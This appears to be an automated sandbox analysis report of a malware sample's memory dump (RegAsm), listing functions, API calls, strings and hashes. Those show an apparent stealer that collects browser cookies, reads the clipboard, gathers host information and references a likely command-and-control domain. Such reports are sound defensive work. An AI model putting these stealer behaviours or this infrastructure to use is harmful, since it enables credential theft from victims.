Instruction ID: c0b7e7c8f5880602c8b8cdfddcf139e3189c80a8d3d946fe78c416ac3d7f1821
Opcode Fuzzy Hash: 880f53d964a0e9b77d48151257eb1767705a4f868f0182372404917249e2104e
Instruction Fuzzy Hash: 860223B0608381ABD314CF25C590A6BBBE1EBC6708F54992DE4D98B292D778D809CB57

Function 0042EC21 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042ECC0
GetSystemMetrics.USER32 ref: 0042ECD1
DeleteObject.GDI32 ref: 0042ED39
SelectObject.GDI32 ref: 0042ED93
SelectObject.GDI32 ref: 0042EE21
DeleteObject.GDI32 ref: 0042EE5E

Strings

, xrefs: 0042EDEE

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 1449868515-3916222277
Opcode ID: e3b04fcf15636bf7ce31bab26468f43836797ede7990c5f67908893d17af2b7f
Instruction ID: 70b95899116a8ec3f0e5a775bddb827291e062b5e2f7b14d136dc80721b6dd08
Opcode Fuzzy Hash: e3b04fcf15636bf7ce31bab26468f43836797ede7990c5f67908893d17af2b7f
Instruction Fuzzy Hash: 48914CB4605B008FC364EF2CD981A16BBF1FB49700B10896DE89AC7760D731B845CF96

Function 00416EDE Relevance: 9.6, Strings: 7, Instructions: 855
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

g`[n, xrefs: 004173C6
[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser, xrefs: 00417447
EC, xrefs: 00417048
Vgu|, xrefs: 004173DB
S=W?, xrefs: 00416F74
f%G', xrefs: 00416F82
e$P^, xrefs: 004173CD

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: S=W?$Vgu|$[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser$e$P^$f%G'$g`[n$EC
API String ID: 0-3351576115
Opcode ID: d5e4c7c7c03b51a8277f3b8b55d732c47095251f19c33ca41ed3d61ebcbdeba3
Instruction ID: aa73c099e0453a0996e054fb6c7b2a0b7f872896936e05adce8e12da1c19aedf
Opcode Fuzzy Hash: d5e4c7c7c03b51a8277f3b8b55d732c47095251f19c33ca41ed3d61ebcbdeba3
Instruction Fuzzy Hash: C162BEB5604B018FD728CF29C591A53BBF2FF46304B1889ADD49A8BB56D738F841CB94

Function 00425E08 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 00425F44
GetComputerNameExA.KERNEL32(00000006,00000000,00000200), ref: 00425F80
GetComputerNameExA.KERNEL32(00000005,?,00000200), ref: 004260A9

Strings

}pwA, xrefs: 004262F9
hFt9, xrefs: 004261D1

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: hFt9$}pwA
API String ID: 2243422189-1297242567
Opcode ID: bd9181195a1a91599c2f1bfd620b85cbca767a1576a5e5c4a617e607daf9e284
Instruction ID: 4c86706fbfa3d4aab4fd8d2a45a0279c4dc4b826246f715bae81ac0f7aff6e86
Opcode Fuzzy Hash: bd9181195a1a91599c2f1bfd620b85cbca767a1576a5e5c4a617e607daf9e284
Instruction Fuzzy Hash: F5F16D70204F928ED725CF38C8A0BE7BBE1AF56309F54486DD4EB87282DB396549CB54

Function 00425E02 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNEL32(00000006,00000000,00000200), ref: 00425F80
GetComputerNameExA.KERNEL32(00000005,?,00000200), ref: 004260A9

Strings

D:" , xrefs: 004264A6
hFt9, xrefs: 004261D1

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName
String ID: D:" $hFt9
API String ID: 3545744682-2221324083
Opcode ID: 4191f4dd82ef557f709a3915640da7d1852281fdad0fc783e1b06556bd1ab865
Instruction ID: 44cfb1a33ae79f4e17d400ba145ff8994c20aaafb6fb321894f6b9926c90411a
Opcode Fuzzy Hash: 4191f4dd82ef557f709a3915640da7d1852281fdad0fc783e1b06556bd1ab865
Instruction Fuzzy Hash: 4DF18F70204B928ED725CF38C890BEBBBE1AF16309F54486DD4EB87282DB397549CB55

Function 004178F0 Relevance: 5.5, Strings: 4, Instructions: 464COMMON

Download Yara Rule

Strings

SN, xrefs: 00417962
\S, xrefs: 00417952
}A, xrefs: 00417DE0
RI, xrefs: 0041795A

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: RI$SN$\S$}A
API String ID: 0-3367954465
Opcode ID: 548ca3509e934277eb8f9b388b5dd605ca6b1f883a63599413b390ea9f89b11f
Instruction ID: c095f753aaf1491264e7a1d9a384aeae9fe72364fc8be97e91d415fc448828d3
Opcode Fuzzy Hash: 548ca3509e934277eb8f9b388b5dd605ca6b1f883a63599413b390ea9f89b11f
Instruction Fuzzy Hash: 78D1AF716183118BC718DF14C8A16ABB7F2FFC5354F484A1DE8D28B390E7B8A945CB96

Function 0043A180 Relevance: 2.8, Strings: 2, Instructions: 259COMMON

Download Yara Rule

Strings

pr6, xrefs: 0043A280
pr6, xrefs: 0043A380

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: pr6$pr6
API String ID: 2994545307-558223686
Opcode ID: 3c08260f363a62de69ae81dfeb72ffb81a28d5d2549b1224bb8bbe5b536a817c
Instruction ID: 7bc992873b883e6864d4509e3bec871203124b72d69158d1f4a2f6dc8cacbe6c
Opcode Fuzzy Hash: 3c08260f363a62de69ae81dfeb72ffb81a28d5d2549b1224bb8bbe5b536a817c
Instruction Fuzzy Hash: A381D0716083019BD718CF18C891B6BB7E2EF89718F14892DE8D987391D739EC15CB96

Function 00415E52 Relevance: 1.7, APIs: 1, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf0c1606309cb73cfab1debe393841734946cd72e0836dd356f9ba08ee0dcdfb
Instruction ID: 9eedd6468a65b649b8edcff54e47c7a4dd1f7f1a9707ed3865f8e6dd5a660395
Opcode Fuzzy Hash: cf0c1606309cb73cfab1debe393841734946cd72e0836dd356f9ba08ee0dcdfb
Instruction Fuzzy Hash: C7518DB19083818FC714CF68C48169BFBE1ABD5304F158A6EF4E987382E779D949CB46

Function 004153B5 Relevance: 1.6, Strings: 1, Instructions: 398COMMON

Download Yara Rule

Strings

RVA, xrefs: 004154FE, 0041563A

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: RVA
API String ID: 0-2101585944
Opcode ID: 7e91ab1ec2b5d8a4fe3b9104ccd3a6225cc7943e5d2a6ae97ebbc222dbdfeb30
Instruction ID: 04e13a62698548ec8aa581bf207fa16684f241504b6856fd404bbb55690f86c0
Opcode Fuzzy Hash: 7e91ab1ec2b5d8a4fe3b9104ccd3a6225cc7943e5d2a6ae97ebbc222dbdfeb30
Instruction Fuzzy Hash: 2DC19DB5500B01DFD724CF18C891AA3B3B2FF9A314B14496EE4968B7A2E734F851CB95

Function 0041FB90 Relevance: 1.5, Strings: 1, Instructions: 266COMMON

Download Yara Rule

Strings

uw, xrefs: 0041FE4D

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: uw
API String ID: 0-2711446736
Opcode ID: cda7a0a0778dc88e725b3541c21633047639bbc5af099bce3841335e19b9afb8
Instruction ID: deab8babf5b008c9bcaa080d93073eb87a74027d427fae1c7023be5d0618b12a
Opcode Fuzzy Hash: cda7a0a0778dc88e725b3541c21633047639bbc5af099bce3841335e19b9afb8
Instruction Fuzzy Hash: 179177B15083409BC714CF14D891BABBBF1FF85358F148A2DE4DA4B391E3789946CB9A

Function 004362B0 Relevance: 1.5, APIs: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00438EDC,005C003F,00000006,00120089,?,00000018,00000E0F,00000000,004159BE), ref: 004362D6

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Function 00439790 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10aecd6c96b7afcce66defdd74d5bec954f1197f029120d4b7891c1afaec4b64
Instruction ID: f30a6acde0602535893f0a0962490bbf3739aa5128b8dffafda5a0dd66eafadc
Opcode Fuzzy Hash: 10aecd6c96b7afcce66defdd74d5bec954f1197f029120d4b7891c1afaec4b64
Instruction Fuzzy Hash: D481FF726083029BD714DF18C880B6BB7E2EF89704F158A2DE9C84B361D775AC55CB9A

Function 00426B33 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 837aff3c098628bf8885ecf50199b30f6da831132a68828896c6ff076b5a75e4
Instruction ID: c8bfd4c90271bfe15baf9663d0e6c64edb4d6f026fe331d7a11810d8c1bfdd95
Opcode Fuzzy Hash: 837aff3c098628bf8885ecf50199b30f6da831132a68828896c6ff076b5a75e4
Instruction Fuzzy Hash: 28418070204B928BD335CF25D4A0BABBBE2EF42304F58496DD4E78B685DB34B449CB58

Function 0041DFB0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3ade37528489ec1b5cd098bcef7a2e3af3bc1494b1089e366a910d10fa89f0d
Instruction ID: edb38dd12e0d116c8adeb34d0aafaa117275c92812055702f8669df78c1012f8
Opcode Fuzzy Hash: a3ade37528489ec1b5cd098bcef7a2e3af3bc1494b1089e366a910d10fa89f0d
Instruction Fuzzy Hash: 7B31D3746483849BE330CF44DC85BDBB7E4EB86304F50892DE2A89B291DA749495CB5B

Function 0042D8C5 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee47f365db0ce5bdbad0a887e0683c682a85e5bea277e3a56b3af482356e96ed
Instruction ID: 5b6166f083a9fc5464781a5678557a7bf4150444a5cffe08fbcfb445bd5c6996
Opcode Fuzzy Hash: ee47f365db0ce5bdbad0a887e0683c682a85e5bea277e3a56b3af482356e96ed
Instruction Fuzzy Hash: 86F015B45043018FC314DF28D49475ABBE0BB8C304F01881DE89A8B750C7B4AA44CF91

Function 004157B0 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 270
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 004157FA
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00415826

Strings

H[, xrefs: 00415844
M], xrefs: 00415834

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: H[$M]
API String ID: 237503144-1708362031
Opcode ID: b1ff25e1da103a7cc77c132b60fbd10cdeee2f7b4715ac39776106f613229bb5
Instruction ID: 7c4147fb78348db80e2d8b800c4f060a89954139a1f0407642eedb840d8e1fb6
Opcode Fuzzy Hash: b1ff25e1da103a7cc77c132b60fbd10cdeee2f7b4715ac39776106f613229bb5
Instruction Fuzzy Hash: 1F81F175508311DBD324CF14C890BABB7E5EFC5314F144A2DF89A9B291DB789885CB8A

Function 00417E2E Relevance: 6.1, APIs: 4, Instructions: 129COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00417E68
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00417E9A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00417F55

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 083996b5030d263de3a33a935d2a53ad15f3cdc5364144f20a829a0d2e87ae28
Instruction ID: 29ea2031aae92dc22cfdc589cc98f995da773fc27401c5d9bfc9e7d21e6a3e6c
Opcode Fuzzy Hash: 083996b5030d263de3a33a935d2a53ad15f3cdc5364144f20a829a0d2e87ae28
Instruction Fuzzy Hash: 90417AB6600700AFD7208F69CC46B537BF9EB49324F114A2DF55AC76A1E634F8448BA6

Function 0042B979 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0042BACB

Strings

#, xrefs: 0042B9A1
!, xrefs: 0042B991

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: !$#
API String ID: 2525500382-2504090897
Opcode ID: f91d4734ce6a823b3e7273150ecff3f9583bb2640da2874246817b65e9cac9b9
Instruction ID: cea932b29600be834b8cf3035c043c2c4d3e3157c6bee8df6389bd001cf99316
Opcode Fuzzy Hash: f91d4734ce6a823b3e7273150ecff3f9583bb2640da2874246817b65e9cac9b9
Instruction Fuzzy Hash: 1141077054C7C28ED331CB28C4487ABBBE1AF9A314F148A6DE4E84B392D3B58545DB97

Function 004328C7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00432904

Strings

C, xrefs: 004328C7
\, xrefs: 004328CF

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InformationVolume
String ID: C$\
API String ID: 2039140958-514332402
Opcode ID: 783394234f08044f60cf7a8925407cb8c2b926fd03062113e3885e86c3c64365
Instruction ID: 16e6a8a04b1d81b048d1d43d0af2da77152079f5452997c4a3dead92d532e1bf
Opcode Fuzzy Hash: 783394234f08044f60cf7a8925407cb8c2b926fd03062113e3885e86c3c64365
Instruction Fuzzy Hash: 53F09B75285302AFE714CF10EC56F1A76549751704F20482C7241E71D1C7B469098F9D

Function 0040AC10 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 360libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0040AD65

Strings

backcreammykiel.shop, xrefs: 0040B02D

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: backcreammykiel.shop
API String ID: 1029625771-2601513811
Opcode ID: 541059713f4c2d59a0f29a49323a58a14de1114b42b63a240ae1e76cc70ba6a1
Instruction ID: b1674590f23a76534918493d0a88a11708ce5f108b38a3496a18a2421ac25250
Opcode Fuzzy Hash: 541059713f4c2d59a0f29a49323a58a14de1114b42b63a240ae1e76cc70ba6a1
Instruction Fuzzy Hash: 86E19FB4504B00CFC710DF28D98161ABFF1EF56314F048A6ED49A9B7A2E735A845CB9B

Function 00409870 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 004098DD

Strings

system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways, xrefs: 004098A4

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways
API String ID: 621844428-780655312
Opcode ID: 89526c1aab6bb489d942a3af36ec83d1bc70f4389796c9a029ec851a76cab7ee
Instruction ID: 349ce8a2ab2fb153aeb3778cfd874f600bc1146e3b5cc3017fdf34bd3933f38e
Opcode Fuzzy Hash: 89526c1aab6bb489d942a3af36ec83d1bc70f4389796c9a029ec851a76cab7ee
Instruction Fuzzy Hash: 4FF05EB283C61496D90477B696062AE7754AF13349F10D43FE841323C3EA7D4C5A62AF

Function 00434662 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 00434668

Strings

VSE, xrefs: 0043466E

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID: VSE
API String ID: 3298025750-5255320
Opcode ID: 8b55094167372aa92f060f3541943351f3700fbb09e13d3c799550166db44aa2
Instruction ID: 3a6f44b314ccdeb050b69574afb66bec7e53ff6f18aad6f3880598c701dc8768
Opcode Fuzzy Hash: 8b55094167372aa92f060f3541943351f3700fbb09e13d3c799550166db44aa2
Instruction Fuzzy Hash: 89C08CBC244000EBCE088B10FC46B303329E786308F30A039EA23C63A2DA719812CA28

Function 00435F65 Relevance: 3.0, APIs: 2, Instructions: 10COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00435F65
GetLogicalDrives.KERNEL32 ref: 00435F70

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 6aa9ec6aa2205fb81388711c88060d088b6d2cee8a98a1cc965378c84e9f9d16
Instruction ID: d0869ace92382b716b51e577e625da84e87331753e404295bded012d888d7452
Opcode Fuzzy Hash: 6aa9ec6aa2205fb81388711c88060d088b6d2cee8a98a1cc965378c84e9f9d16
Instruction Fuzzy Hash: F9C0123C541141EFCB08BB6AFC1911A3B22EB8631A322E03AE00242222CB3088128A0C

Function 004361FC Relevance: 1.6, APIs: 1, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 00436285

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e441783ba9a5b3583933b22438453abb75b82d9514eacc0576006f016d592f15
Instruction ID: 8648c1932692c8413ac97982163fba844a37a0a9f0b29548e9e6c2ee011cc9b6
Opcode Fuzzy Hash: e441783ba9a5b3583933b22438453abb75b82d9514eacc0576006f016d592f15
Instruction Fuzzy Hash: E311EC376062819FD7128F18CC80585BBB1FF9B31071B44DBD1C4C7653C639A91ACB61

Function 004344D0 Relevance: 1.6, APIs: 1, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,00000E0F), ref: 00434565

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ba3c98865ab5df1365ac130d67c4e9413494f3c85a179291c4d0ac18d0a7eb17
Instruction ID: 435ef04b207146c14f3692444238a88a4238b41a92d274f0eb41010332e4fc0a
Opcode Fuzzy Hash: ba3c98865ab5df1365ac130d67c4e9413494f3c85a179291c4d0ac18d0a7eb17
Instruction Fuzzy Hash: BB11C6751001419FD720CF28D854B96BBF5EF89328F3446ADE6A48B782D373A812CBC4

Function 00435E37 Relevance: 1.6, APIs: 1, Instructions: 67libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 00435F17

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 14518db2b14e7d562cd2ca2325b87006c81f3f01dc93537d91a68aacce2cec44
Instruction ID: 50c23a6963be4effd49291460e563fee99df555cf462701be530475930672c07
Opcode Fuzzy Hash: 14518db2b14e7d562cd2ca2325b87006c81f3f01dc93537d91a68aacce2cec44
Instruction Fuzzy Hash: F12100741083019FD704DF25EC91B1ABBE2FB96304F189A2DE1C99B3A1D7348805CF9A

Non-executed Functions

Function 00409E80 Relevance: 11.6, Strings: 9, Instructions: 334COMMON

Download Yara Rule

Strings

XZdh, xrefs: 0040A1D5
P, xrefs: 0040A204
M~#%, xrefs: 0040A1F5
@NLL, xrefs: 0040A053
;4?<, xrefs: 00409FF3
EEK}, xrefs: 0040A063
![, xrefs: 0040A1FD
ZZh\, xrefs: 0040A03B
ZFwH, xrefs: 0040A1DD

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ![$;4?<$@NLL$EEK}$M~#%$P$XZdh$ZFwH$ZZh\
API String ID: 0-2251475478
Opcode ID: e5567b2a1641b64875a753e69030e8e1a614432120801cfd0c23ce83b2bbb1be
Instruction ID: 80460ae8a2717a2a90c8d9a0fc9c72fc72f411f54d58053973dd6d0fcad5e811
Opcode Fuzzy Hash: e5567b2a1641b64875a753e69030e8e1a614432120801cfd0c23ce83b2bbb1be
Instruction Fuzzy Hash: A6B167B11083819BD315CF29C49075BFBE1AF96344F18896DE4D99B3A2C339C84ACB97

Function 0042E310 Relevance: 9.2, APIs: 6, Instructions: 164clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0042E360
GetWindowLongW.USER32 ref: 0042E389
GetClipboardData.USER32 ref: 0042E3A2
GlobalLock.KERNEL32 ref: 0042E3BB
GlobalUnlock.KERNEL32 ref: 0042E4D9
CloseClipboard.USER32 ref: 0042E4E3

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID:
API String ID: 2832541153-0
Opcode ID: 9992b9b5fe50fe2cc56b772c35971781f94b3c059ac1d868cc720812c030e1d3
Instruction ID: 43db89ef84e7c59147370d0b769d28361a99271e3e262969982286ff93f7e459
Opcode Fuzzy Hash: 9992b9b5fe50fe2cc56b772c35971781f94b3c059ac1d868cc720812c030e1d3
Instruction Fuzzy Hash: 5861ACB0608B40DFC321EF39D445716BBE0AF1A314F048A6EE49A8B791D739A815CB96

Function 004270D3 Relevance: 7.8, Strings: 5, Instructions: 1559COMMON

Download Yara Rule

Strings

JlRp, xrefs: 00427C50
atyc, xrefs: 00428208
micb, xrefs: 0042820F
u|p{, xrefs: 004281FA
aJ,u, xrefs: 00428201

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: JlRp$aJ,u$atyc$micb$u|p{
API String ID: 0-2906307223
Opcode ID: d2d3a86baa04add6ae1ae6cabb452e704b5c2bb2d87b4f9432fb8a79d3fbd352
Instruction ID: ca48c8d92243bfaf1a7047b6403d569f81225f0884dca2d6067168534d1dcce6
Opcode Fuzzy Hash: d2d3a86baa04add6ae1ae6cabb452e704b5c2bb2d87b4f9432fb8a79d3fbd352
Instruction Fuzzy Hash: 48C20431608B518BD338CF29C490767BBE2AF96304F588A5EC4E78BB81D738E445CB59

Function 0042290F Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 235COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00422A35
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00422A68

Strings

M%h+, xrefs: 0042292D

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: M%h+
API String ID: 237503144-1998897944
Opcode ID: 9fe8b89542e58bdb9d9bc507dd78c1d99a0edb12e35d3a7ded34c20055419a01
Instruction ID: c887d8e509b68d60bb67633f0d84f425f1b5f6aa62f9274f51a1f3e000f4cd20
Opcode Fuzzy Hash: 9fe8b89542e58bdb9d9bc507dd78c1d99a0edb12e35d3a7ded34c20055419a01
Instruction Fuzzy Hash: A59148B4600B019FE334CF21D994B27BBE5FB85304F40892DE5AA4BA92D7B5F845CB94

Function 004246A0 Relevance: 3.0, Strings: 2, Instructions: 535COMMON

Download Yara Rule

Strings

", xrefs: 00424B48
", xrefs: 00424B12

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
